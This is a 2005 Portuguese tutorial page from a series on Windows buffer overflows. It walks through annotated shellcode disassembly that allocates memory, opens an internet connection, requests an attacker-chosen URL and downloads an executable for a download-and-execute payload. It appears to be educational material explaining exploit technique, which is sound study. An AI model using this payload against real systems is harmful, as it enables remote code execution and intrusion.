A Aldeia Numaboa ancestral ainda está disponível para visitação. É a versão mais antiga da Aldeia que eu não quis simplesmente descartar depois de mais de 10 milhões de pageviews. Como diz a Sirley, nossa cozinheira e filósofa de plantão: "Misericórdia, ai que dó!"

Se você tiver curiosidade, o endereço é numaboa.net.br.

Leia mais...

Segurança

Buffer overflow no Windows

Sab

5

Nov

2005


23:55

(2 votos, média 5.00 de 5) 


O chantilly do exploit

Já que exploramos todas as ferramentas disponíveis, chegou a hora do bem bom.

     000001BB: 90                           nop
     000001BC: 90                           nop
     000001BD: 33C0                         xor    eax,eax
     000001BF: 6648                         dec    ax
     000001C1: D1E0                         shl    eax,1
     000001C3: 33D2                         xor    edx,edx
     000001C5: 50                           push   eax
     000001C6: 52                           push   edx
     000001C7: FF57EC                       call   d,[edi][-0014]
     000001CA: 8BF0                         mov    esi,eax

Este código aloca 131070 bytes de memória. EAX fica com 131070 e chamamos GlobalAlloc através de endereçamento indireto usando EDI a partir da tabela de saltos -0x14 bytes. Isto coloca o endereço de memória em ESI. O tipo de GlobalAlloc é GMEM_FIXED (0), o que retorna um endereço de memória ao invés de um manipulador destravado (unlocked handle).

     000001CC: 33D2                         xor    edx,edx
     000001CE: 52                           push   edx
     000001CF: 52                           push   edx
     000001D0: 52                           push   edx
     000001D1: 52                           push   edx
     000001D2: 57                           push   edi
     000001D3: FF57F0                       call   d,[edi][-0010]

Depois, criamos um manipulador de Internet com uma chamada para InternetOpenA. Para nossa sorte, neste caso, todos os parâmetros para InternetOpenA são zero.

O manipulador de Internet retorna em EAX e vamos usá-lo imediatamente como parâmetro da próxima função chamada.

     000001D6: 33D2                         xor    edx,edx
     000001D8: 52                           push   edx
     000001D9: 52                           push   edx
     000001DA: 52                           push   edx
     000001DB: 90                           nop
     000001DC: 52                           push   edx
     000001DD: 8BD7                         mov    edx,edi
     000001DF: 83EA50                       sub    edx,050  ;"P"
     000001E2: 90                           nop
     000001E3: 90                           nop
     000001E4: 90                           nop
     000001E5: 52                           push   edx
     000001E6: 50                           push   eax
     000001E7: FF57F8                       call   d,[edi][-0008]

Este código chama InternetOpenUrlA (em [EDI-0x08]), solicitando a URL que escolhemos. O tipo da URL não é especificado no código de modo que a URL pode ser HTTP, FTP, FILE, GOPHER,... ou o que você quiser.

     000001EA: 57                           push   edi
     000001EB: 33D2                         xor    edx,edx
     000001ED: 664A                         dec    dx
     000001EF: D1E2                         shl    edx,1
     000001F1: 52                           push   edx
     000001F2: 56                           push   esi
     000001F3: 50                           push   eax
     000001F4: FF57FC                       call   d,[edi][-0004]

Este código usa a função InternetReadFile (em [EDI-0x04]) para fazer o download de até 131070 bytes e colocá-los no buffer de memória (o ponteiro está em ESI). Observe que, inicialmente, foi feito um PUSH de EDI. EDI é onde está o contador dos bytes lidos. Isto é necessário para que o arquivo seja armazenado em disco com o tamanho correto.

Observe também que há um limite para o tamanho do executável exploit que pode ser baixado.

Informações adicionais